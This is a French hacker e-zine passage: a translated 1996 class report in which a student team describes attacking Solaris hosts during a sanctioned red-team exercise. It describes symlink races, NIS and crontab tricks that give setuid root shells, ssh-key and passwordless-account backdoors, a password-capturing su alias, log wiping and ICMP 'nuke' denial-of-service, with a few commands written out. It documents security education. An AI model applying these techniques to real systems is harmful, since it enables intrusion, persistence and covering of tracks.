De type de faille à toujours donné mauvaise réputation au système d'exploitation UNIX. Cela correspond à la création d'un fichier temporaire par un programme fonctionnant en tant que root. Il est possible d'exploiter cette situation si les permissions sur ce fichier temporaire sont fixées à rw-rw-rw-, si le fichier temporaire est crée dans répertoire en écriture pour tout le monde, et si le nom du fichier peut être prédit. Ensuite, tout ce que le hacker a à faire c'est créer un lien symbolique du fichier temporaire qui va être crée vers un fichier inexistant. Quand le programme est ensuite exécuté, il crée le fichier pointé par le lien symbolique. Cette vulnérabilité a ensuite été découverte dans trois programmes qui ont le suid root : Kcms_calibrate, admintool et vold. Nous l'avons appris sur la liste de diffusion bugtraq. La vulnérabilité de vold n'était pas exploitable dans notre cas car elle nécessitait un accès physique à la machine. La vulnérabilité « admintool » fut ensuite corrigée par l'équipe gold. La vulnérabilité de Kcms_calibrate fut largement utilisée, elle n'a jamais été corrigée par l'équipe gold. Solaris 2.5 offre un support du Système de Gestion des Couleurs Kodak (KCMS = Kodak Color Management System), une suite d'APIs et de librairies compatibles Openwindows pour créer et gérer des profils qui permettent de contrôler le rendement couleur des écrans, des scanners, des imprimantes et des magnétoscopes (film recorders). KCMS se compose des programmes kcms_configure et kcms_calibrate qui ont pour rôle de configurer et calibrer un système X11 window utilisant les librairies KCMS. Une fois installé, ces programmes ont les privilèges set-user-id root et set-group-id bin. Lorsque l'on le lance, kcms_calibrate crée le fichier temporaire /tmp/Kp_kcms_sys.sem, voici un script qui exploite cette vulnérabilité en créant un fichier .rhosts et en y mettant ++ : #!/bin/csh Une fois le script exécuté, /.rhosts est crée avec les permissions fixées à 666, alors que le fichier en lui même appartient à root. Admintool est une interface graphique qui permet à l'administrateur d'exécuter différentes tâches d'administration système sur le système. Cela incluse la possibilité de gérer les utilisateurs, les groupes, les machines et les services. Pour empêcher que différents utilisateurs mettent à jour des fichiers système simultanément, admintool utilise plusieurs fichiers temporaires comme mécanisme de verrouillage. La manipulation de ces fichiers temporaires n'est pas faite de manière sécurisée, si bien qu'il est possible de se servir de admintool pour créer ou écrire des fichiers arbitraires sur le système. Les fichiers sont accédés avec l'uid effectif du processus exécutant admintool. Voici un script similaire à celui fournit pour l'exploit kcms : #!/bin/sh Une fois encore le scénario est le même. N'importe quel fichier inexistant peut être crée en utilisant cette méthode. Il est donc inutile d'expliquer le fonctionnement de la vulnérabilité de vold dans les détails. La vulnérabilité KCMS fut largement exploitée pour la seconde intrusion qui est décrite dans la section E.5. On trouve sur Internet différents programmes qui ouvrent des sockets SOCK_RAW. Ce type de socket ne peut être ouvert seulement si le programme est exécuté en tant que root. Une socket de type SOCK_RAW donne un contrôle illimité sur les données du paquet envoyé. Nous avons été capable d'envoyer des paquets avec une fausse adresse IP de black5 vers gold2. Nous sommes même parvenus à fixer gold1 comme étant l'envoyeur bien que les deux machines soient soit disant séparées par un firewall. Un de ces programmes est le programme treelight publié dans l'issue #4 de FEH. Il a fallut le modifier pour qu'il fonctionne sous Solaris car les champs sont nommés différemment dans le fichier de définition de l'entête IP. Le programme envoyait un « Christmas Tree Packet » (SYN, URG, PSH, FIN et 1 octet de donnée) de source.port vers dest.port. Ce type de paquet est aussi connu sous lles noms « kamikaze Packet », « Nastygram », et « lamp test segment ». Nous y avons eu recours pour mettre en scène une attaque « denial of service ». Un paquet ayant (gold2,port7) comme source et (gold2,port7) comme destination fut envoyé. Comme le port 7 correspond au port « echo », le paquet fut échangé indéfiniment entre gold2 et lui-même.Comme aucune autre machine n'était traversée, le nombre de saut (hop count) restait fixe. Bien que le niveau d'activité de gold2 grimpa à 67%, le système ne montra aucun signe de faiblesse. « Le Protocole Internet (IP) est utilisé comme service de datagramme machine-à-machine dans un système de réseaux interconnectés nommé Catenet. Les machines qui relient ces réseaux sont appelées Gateways (passerelles). Ces passerelles communiquent entre elles dans un but de contrôle par l'intermédiaire du Gateway to Gateway Protocol (GGP). Occasionnellement une passerelle ou une machine destination va communiquer avec une machine source, par exemple, pour rapporter une erreur dans le traitement d'un datagramme. Dans de telles situations, on a recours au protocole ICMP (Internet Control Message Protocol). ICMP utilise IP comme support comme si il était un protocole de niveau supérieur, cependant, ICMP fait en réalité partie intégrante d'IP, et doit être implémenté dans tous les modules IP ». (DARPA Internet Protocol Specification). Les messages ICMP peuvent être expédiés dans différentes situations : par exemple quand un datagramme ne parvient pas à destination, quand la passerelle ne possède plus assez de mémoire pour faire suivre un datagramme, et quand la passerelle peut diriger la machine sur un chemin plus cours pour acheminer sont trafic. La partie qui nous intéresse est l'échange de paquets ICMP_unreach qui informe une machine que son destinataire ou le port de son destinataire n'est plus accessible. Pour vous protéger contre les attaques par dénie de service basées sur les bombes ICMP, filtrez les paquets TCMP redirect et ICMP destination unreachable. De plus, les réseaux devraient filtrer les paquets routés (document ftp://info.cert.org/pub/tech_tips/packet_filtering). Manifestement ce type de protection n'était pas mis en place pour le sous réseau gold puisque nous avons toujours été capable d'envoyer des paquets avec des adresses IP falsifiées. L'étape suivante fut d'utiliser le programme « nuke » largement diffusé sur Internet. La version disponible sur le réseau tuait les connexions telnet en envoyant des paquets ICMP unreach à la machine cible. « nuke » fut modifié afin d'attaquer n'importe quelle connexion. Voici un exemple du programme en pleine action : Tout d'abord, on se connecte sur gold2 et on observe quelles sont les connexions actives, puis on décide lesquelles attaquer : gold2% netstat -a Nous lançons ensuite nuke sur black4 avec les paramètres appropriés : black5% su Un autre « netstat -a » sur la machine gold2 nous montrait que la connexion n'existait plus : gold2% netstat -a Le programme fut ensuite utilisé pour faire ramer le serveur NFS de gold2 et pour tuer les connexions de login sur gold2. Pour d'avantage de détails sur cette attaque de déni de service, le lecteur peut se référer à la section E.3. Un programme qui efface nos entrées des tables wtmpx était à notre disposition. Il est listé en annexe. Un utilisateur qui appelle cette commande n'apparaîtra pas lors d'un who ou d'un w, la seule trace de son activité peut être décelée en lançant « ps ». Une portion de ce programme provient d'une liste de diffusion. Le programme de cette liste effaçait les traces de utmpo ou wtmp, un support pour utmpx, wtmpx et quelques autre logs a été ajouté. Trappes grossières dans le .cshrc des personnes qui avaient des fichiers appartenant à root dans leur répertoire home (vraisemblablement des membres de l'équipe gold), avec l'intention que la commande 'ls' crée un shell suid quand on l'appelle en root. Cela n'a pas fonctionné comme on l'aurait souhaité. Une trappe plus subtile dans cops, qui se trouvait dans le home de l'utilisateur csudhir (le jour précédent, nous avions remarqué que COPS était en train de tourner avec les droits root), COPS a été retiré le lendemain. Ajout d'une clé publique supplémentaire dans les fichiers .ssh/authorized-keys de presque la moitié des utilisateurs.. Nous avions, bien sûr, les clés privées correspondantes. Cela a été découvert le 28 juin. Un accès non-root sur gold1 a été obtenu par la manoeuvre précédente. Le schéma suivant a aussi été envisagé : 1 - Ajouter la commande (alias su '/tmp/log1';unalias su) dans le fichier .login d'un membre de l'équipe gold. 2 - /tmp/log1 copierait le fichier .login initial dans le répertoire home, demanderais un mot de passe, l'enregistrerait dans un fichier du répertoire temp, renverrait un message d'erreur (mot de passe invalide), et s'effacerait lui même. 3 - Le unalias garantirais que tout se déroule de façon cachée. Ce schéma n'a pas été utilisé car l'accès root nous était garanti par une méthode bien plus franche, à savoir la non-protection des tables NIS. Comme décrit dans la section D.4, l'exploit nous permettait de gagner rapidement un accès root sur gold2. Il nous restait encore à obtenir un accès root sur gold1. Se connecter comme simple utilisateur de l'équipe gold était aisé en utilisant ssh. Les répertoires /export/home de gold2 étaient exportés sans le drapeau suid, mais sur gold1 ils étaient exportés avec le drapeau suid activé. Cela signifiait qu'un fichier suid root dans un répertoire home ne pouvait pas être exécuté sur gold2, mais cela était possible sur black1 ! La suite a été très simple : 1 - Nous sommes passés root en utilisant la commande : stbladm -m uid=0 '[name=edaniel]',passwd.org_dir 2 - Une clé ssh fut ajouté au membre X de l'équipe gold, ensuite nous avons fait un su pour ce compte sur gold2. 3 - Un shell root suid fut crée dans le home de X. 4 - Nous avons accédé à gold1 en tant que X puis avons lancé ce shell. 5 - Nous obtenons alors un accès root sur gold1. Nous avons ensuite procédé aux tâches suivantes : 1 - Insérer une porte dérobée dans un exécutable suid dans le répertoire /bin de gold1 et gold2 (toujours présent lors des vacances du milieu de trimestre). Le trojan était un simple shell qui substituait la commande « fdformat » dans /usr/bin. A la fin de cet exercice nous avons appris que le trojan avait été effacé par inadvertance lorsque l'équipe gold effaça /bin par erreur. 2 - Ajout d'une clé publique dans /root/.ssh/autorized_keys de gold1 et gold2. Cela nous permettait de nous connecter en root sur gold1 et gold2 par ssh. Il s'est avéré par la suite que se connecter en tant que root créait des entrées utmp pour le root (l'équipe gold accédait toujours au statut root par su), un membre de la gold le remarqua et découvrit les clés ssh. 3 - Création d'un nouvel utilisateur (présent jusqu'à la fin des jeux), le nom de cet utilisateur est sanjay et il possède son propre répertoire home et sa propre clé ssh. Ce qui est étrange c'est le fait que NIS permettent à root de gérer les tables NIS (créer un nouveau compte) sur gold1 sans passer par une authentification par mot de passe. L'accès root fut maintenu jusqu'au fatidique jour du 17 juillet. Les utilisateurs Ralphg et Ajayg essayaient d'utiliser cette ouverture une nouvelle fois. L'utilisateur Ajayg changea son uid à 0, puis se déconnecta et se reconnecta plusieurs fois jusqu'à ce qu'il obtienne l'accès root. Ce que les deux hackers n'avaient pas réalisé, c'était qu'ils auraient pu garder le shell lorsque l'utilisateur Ajayg avait toujours son uid d'origine. L'utilisateur Ajayg passa root sur gold2, il ne pouvait plus accéder à son entrée initial dans les tables NIS situées sur gold1. L'utilisateur edaniel se joignit à nous et se rendis compte que le seul remède était d'obtenir l'accès root sur gold1 puis de ramener les tables à leurs états initiaux. Une clé ssh fut ajouté au membre Csudhir de l'équipe gold, puis nous nous sommes logés sur gold1. L'utilisateur anb5324 rodait sur gold1 et remarqua la connexion suspecte. am5324 se connecta sur gold2 et tua rapidement nos sessions telnet. Nous avons alors du nous reconnecter par une backdoor que nous avions placé (un compte uucp sans mot de passe et avec un uid de 0), nous avons ensuite tué les sessions telnet de anb5324. anb5324 rafraichissa la table de routage de gold2, et nous furent mis hors jeux. Plus tard dans la journée, l'erreur de configuration fut rectifiée. La leçon que nous en avons tiré était que nous devions hacker avec plus de précautions pour la suite. Comme écrit plus tôt dans la section D.6.2, l'exploit kcms_calibrate rend possible la création de n'importe quel fichier inexistant à n'importe quel endroit sur le système de fichier local de gold2. Les étapes suivantes ont été suivi : 1 - Pour tester, nous avons crée un fichier /.rhosts. Cela s'est avéré d'aucune utilité parce que ni ssh ni rlogin ne sont disponibles sur gold2. Toutefois, l'équipe gold n'effaça pas le fichier avant 5 jours. 2 - L'attaque fut lancée en créant le fichier de script S100blah dans /etc/rc2.d. Les scripts se trouvant dans le répertoire rc2.d sont lancés à chaque redémarrage du système. Voici le script de cette backdoor : # Give us root access
Cet exploit fonctionnait très bien, il nous donnait l'accès root après chaque reboot. 3 - Le programme cron tourne en tâche de fond et exécute des commandes précises à des intervalles de temps précis. A chaque démarrage, il lit la table de commandes de chaque utilisateurs à partir de /var/spool/cron/crontabs/. L'astuce consistait à créer un fichier crontab pour l'utilisateur smtp, cependant smtp se trouvait dans le fichier /etc/cron.d/cron.deny qui se trouvait sur gold2. Voici ce que les pages de manuels de crontab nous disait à propos des contrôles d'accés de crontab : contrôle d'Accés de crontab Utilisateurs : L'accés à crontab est autorisé : o si le nom de l'utilisateur apparaît dans /etc/cron.d/cron.allow. o si /etc/cron.d/cron.allow n'existe pas et si le nom de l'utilisateur n'apparaît pas dans /etc/cron.d/cron.deny. Utilisateurs : L'accès est interdit : o si /etc/cron.d/cron.allow existe et que le nom de l'utilisateur ne s'y trouve pas o si /etc/cron.d/cron.allow n'existe pas et si le nom de l'utilisateur se trouve dans /etc/cron.d/cron.deny. o si aucun des deux fichiers n'existe Il était donc évident que nous devions créer deux fichiers. Tout d'abord, /etc/cron.d/cron.allow fut crée et rempli avec tous les utilisateurs qui auraient du avoir accès à la commande crontab : root Nous avons ensuite crée un fichier crontab spécifique à smtp dans /var/spool/cron/crontabs, nous avons du l'appeler smtp et il contenait : 15 3 * * * * /bin/cp /bin/sh /var/adm/sids/.sh 16 3 * * * * /bin/chmod 4755 /var/adm/sids/.sh Cet exploit a été testé sur black5 et il fonctionnait à la perfection, son rôle était de créer un shell suid root toutes les heures. Malheureusement cela n'a pas fonctionné sur la machine gold2, il s'est avéré plus tard que cela générait une erreur TT_DB lors de l'exécution. Il est important de souligner que l'équipe gold aurait eu beaucoup de mal à trouver le shell ainsi créé. Le répertoire /var/adm/sids est en effet utilisé par Tripwire pour stocker certains de ses résultats. Comme tout est supposé changer dans ce répertoire, Tripwire ne le prend pas en compte. C'est Aaron de l'équipe gold qui nous l'a expliqué après la fin des jeux. L'emplacement a été en fait choisi par ironie : le répertoire contient des fichiers qui servent à garder une trace des fichiers qui sont suid root. 4 - Une fois les chevaux de Troie installés, il nous suffisait d'attendre un redémarrage. Toutefois, le temps filait très vite et nous approchions de la clôture des jeux. Nous devions donc trouver un moyen de crasher le système, ou d'obliger l'équipe gold à rebooter. Le port NFS de Gold1 tournait sur le port 2049. Gold2 se servait d'un port dans l'intervalle 970-1010 pour son service NFS. En utilisant le programme nuke dérit dans la section D.8, le script suivant fut créé puis exécuté sur notre machine black. Cela ralentissait toute opération NFS sur Gold2. #!/bin/csh Un peu plus tard, l'attaque a été renforcée en un programme nuke-NFS.c. L'attaque est devenue beaucoup plus brutale et les services NFS de gold étaient à la limite de tomber. A l'origine nous pensions compter uniquement sur l'attaque NFS, mais certains membres de notre équipe se sont laissés emporter et ont commencé à tuer toutes les connexions ssh et telnet. Pendant deux heures, les autres équipes n'ont pas pu accéder à gold2. L'équipe gold a finis par redémarrer sa machine. Après le redémarrage, nous avions toujours l'accès root à gold2. Le programme /etc/mysh fonctionnait à la perfection, et nous donnait l'accès root en tappant « /etc/mysh -p ». A notre grande surprise, une autre équipe avait l'accès root. Après quelques minutes motd était changé en : .^^^. This one is for you!!!! Please mail any questions, problems, or service requests to postmaster (if we reenable that account :) ). ********************************************************************** Nous nous sommes vite occupé de cela : .^^^. ********************************************************************** Our deepest gratitue is extended to all those who made this
This one is for you!!!! Please mail any questions, problems, or service requests to postmaster (if we reenable that account :) ). ********************************************************************** La GUERRE était déclarée ! Pendant une heure et demi, nous avons tué toutes les connexions telnet et ssh sur gold2 en nous servant de nuke. Pendant ce temps, les membres de l'équipe black4 qui en avaient la possibilité tuaient nos processus. Voici les quelques dernières commandes récupérées de la fenêtre xterm de l'un des notre alors que c'était le chaos. Cet utilisateur était connecté à black5 en root et envoyait des paquets ICMP_port_unreachable pour tuer les connexions des autres équipes. Quatre autres membre de l'équipe faisaient la même chose :) : # ./nuke gold2 black4
113 32985 Nous aurions très bien pu gagner facilement la « bataille » en effacant simplement les fichiers « ps » et « kill » de /etc, rendant ainsi black4 « aveugle ». Nous n'y avons pas pensé sur le moment. Tout le monde était tellement obnubilé par la présence de ces services que personne ne se rendit compte qu'il suffisait d'effacer quelques fichiers ! A 6 heures, nous étions fatigués de cette querelle insignifiante. Un membre de notre équipe, edaniel, changea le mot de passe eeprom (electrically erasable programmable ROM) et redémarra la machine. Nous avions le dernier mot, le jeu fut déclaré clôt par M. Willis Marti. Les outils de scan que nous avons utilisé sont listés ci-dessous. COPS a été exécuté sur gold2 le premier jour de hacking. Toutes les failles testées par COPS étaient patchées sur les systèmes Gold. Nous avons lancé ce programme sur gold2 afin de tester les failles connues dans le monde de la sécurité. Voici les rapport de sécurité généré : Security Report for Mon Jun 17 01:00:14 CDT 1996 from host gold2 Les différentes vérifications qui ont été faites incluent : 1 - Vérifier certains fichiers comme /etc/passwd, /etc/shadow, .profile, /bin, /etc ainsi que d'autres fichiers et répertoires critiques. 2 - Nous avons aussi vérifié si certains utilisateurs avaient un mot de passe vide 3 - Vérifier si certains fichiers cron sont en écriture pour tout le monde 4 - Tester les vulnérabilités ftp ou chercher les mauvaises configurations 5 - Vérifier les bugs connus SATAN a été téléchargé puis compilé. Il n'a pas été exécuté sur un système fermé, car il nécessitait une communication avec des serveurs distants pour fonctionner. Pour conclure, nous avons eu accès à tous les comptes par trois reprises, accès root sur gold2 à deux reprises et une fois root sur gold1. Nous avons monté avec succès une attaque par déni de service basée sur le bombardement de paquets « ICMP_port_unreachable ». Cette attaque tuait les connexions telnet et ssh des autres équipes sur gold2. Nous avons testé énormément de choses, beaucoup ne sont pas listées dans ce rapport car nous n'en avons pas pris note. Tous les membres de l'équipe ont acquis beaucoup de connaissances sur l'administration système. Nous avons découvert à quel point il est difficile de déceler les erreurs d'un système ; mais plus important ; les techniques/attaques des autres groupes black nous ont montré à quel point certaines choses sont négligées concernant la sécurité. Le cours a compté aussi bien des moments à vide que des moments excitants. Nous pensons qu'il devrait continuer à être enseigné l'été prochain. Pour finir, nous souhaitons nous féliciter nous même pour les efforts que nous avons du donner pour l'écriture de ces deux rapports finals, et pour l'intrusion réussie des systèmes gold. Bonne chance, l'équipe Black2. Le cours a eu ses quelques moments mémorables, spécialement à deux moments. La première fois c'était quand l'utilisateur ajayj était bloqué avec un uid de 0 et a essayé pendant deux heures et demi d'avoir un status d'utilisateur normal. Plus tard, nous nous sommes beaucoup amusés à nous battre avec l'équipe black4 pour le contrôle de gold2. Voici nos suggestions : 1 - Une des choses qui sans aucun doute améliorera la performance de la classe est l'interaction entre les groupes black ainsi que plus de participations de la part des instructeurs. 2 - Nous pensons que si lors de la première partie du cours nous avions reçu des informations techniques (étude des fichiers importants, structure principale d'un système unix, présentation par des administrateurs système), nous aurions pu élaborer des attaques plus performantes. 3 - Nous aurions souhaité avoir plus d'informations sur nos actions ainsi que les actions des autres équipes. Par exemple l'équipe gold, ou un comité de conseil, aurait fait l'annonce des failles corrigées. o kill_proc.sh : Script qui tue tous les processus associés à d'autres terminals o logcleaner.c : Ce programme efface les entrées dans les fichiers utmp, utmpx, xtmp et wtmpx o nuke.c : Code pour la version légèrement modifiée du célèbre nuke.c o treelight.tar.gz : Code du programme Treelight publié dans le numéro #4 de FEH
[1] U.W. Pooch et.al., Computer Systems and Network Security, CRC press, 1st edition [2] Simson Garfinkel and Gene Spafford, Practical Unix & Internet Security, O'Reilly, 2nd edition [3] W.R.Stevens, Unix Network Programming, Prentice Hall, 1st edition [4] Sun Microsystems, System Administrator's Guide to Solaris 2.5 |
Conclusion |
J'ai beau n'avoir rien foutu, mais ce fût très dur de récolter de bons articles et encore plus de trouver des personnes motivés et ayant du temps libre pour écrire des articles; ce fût comme même une expérience assez enrichissante. Je voudrais remercier tout ceux qui ont participer à ce numéro et ceux qui ont mis le dernier Lotfree sur leur site, tout particulièrement l'admin d'Abyssal (http://abyssal.homelinux.org), site où vous pouvez lire le précédent opus online. Je tiens aussi à vous signaler qu'il existe un forum Lotfree (http://www.lotfree-forum.tk/ où bien http://tgonissan.free.fr/), où vous pourrez avoir des nouvelles du prochain opus, et où on parle aussi de coding, security, "hacking" ...etc En ce qui concerne le huitième opus, y a des chances pour qu'il sorte, mais de là à vous dire quand, c'est une autre paire de manche. Si vous voulez voir un Lotfree#08 sortir le plus tôt possible, il n y a qu'une seul solution: nous écrire des articles! L'éditeur du prochain Lotfree sera vraisemblablement sirius_black, vous pouvez donc lui envoyer vos articles à cette adresse: sirius_black[chez]imel[point]org |